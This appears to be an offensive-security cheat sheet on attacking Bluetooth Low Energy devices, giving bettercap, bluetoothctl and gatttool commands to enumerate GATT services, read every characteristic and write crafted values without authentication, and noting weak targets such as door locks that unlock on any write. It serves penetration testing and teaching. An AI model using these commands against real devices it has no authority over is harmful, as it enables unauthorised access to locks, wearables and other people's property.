offensive-bluetooth-ble

Bluetooth Low Energy (BLE) Attacks

BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.

Quick Workflow

1. Discover and enumerate the device's GATT tree
2. Test every characteristic for read/write/notify without authentication
3. Inspect pairing method — Just Works = no MITM protection
4. If Just Works, MITM the pairing to capture / inject
5. Reverse the companion app for proprietary command formats

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Discovery + GATT Enumeration

# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"

# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"

# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes

# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary           # list services
> char-desc         # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>

GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.

Characteristic Auth-Free Read/Write

Test every characteristic flagged read/write/notify:

# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
  echo "=== Handle $h ==="
  gatttool -b <MAC> --char-read --handle=$h
done

# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01

Common findings on consumer BLE devices:

• Door locks: unlock characteristic accepts any write (no auth)
• Smart bulbs: brightness/color writeable from any peer
• Wearables: PIN/lock-state readable
• BLE beacons: configurable from any peer (rebrand attacks)